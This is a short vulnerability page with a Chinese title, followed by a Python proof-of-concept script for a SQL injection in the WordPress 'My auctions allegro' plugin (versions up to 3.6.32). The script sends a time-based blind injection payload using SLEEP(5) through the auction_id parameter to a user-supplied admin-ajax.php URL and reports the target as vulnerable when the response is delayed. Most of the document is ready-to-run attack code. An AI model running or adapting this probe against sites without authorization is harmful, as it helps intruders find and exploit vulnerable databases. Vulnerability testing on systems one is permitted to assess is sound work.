CVE-2025-12850 WordPress My auctions allegro插件SQL注入漏洞

import requests import sys # CVE-2025-12850 SQL Injection PoC # Target: WordPress My auctions allegro plugin <= 3.6.32 # Vulnerability: SQL Injection via auction_id parameter def test_sqli(url, payload): """Test for SQL injection vulnerability""" params = { 'auction_id': payload } try: response = requests.get(url, params=params, timeout=10) return response except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return None def main(): if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://target.com/wp-admin/admin-ajax.php") sys.exit(1) target_url = sys.argv[1] # Basic time-based blind SQL injection test # This payload causes a 5-second delay if vulnerable time_based_payload = "1' AND (SELECT * FROM (SELECT SLEEP(5))a) AND '1'='1" print(f"[*] Testing CVE-2025-12850 SQL Injection...") print(f"[*] Target: {target_url}") print(f"[*] Payload: {time_based_payload}") response = test_sqli(target_url, time_based_payload) if response and response.elapsed.total_seconds() >= 5: print("[+] Target appears to be vulnerable!") else: print("[-] Target may not be vulnerable or not using correct endpoint") if __name__ == "__main__": main()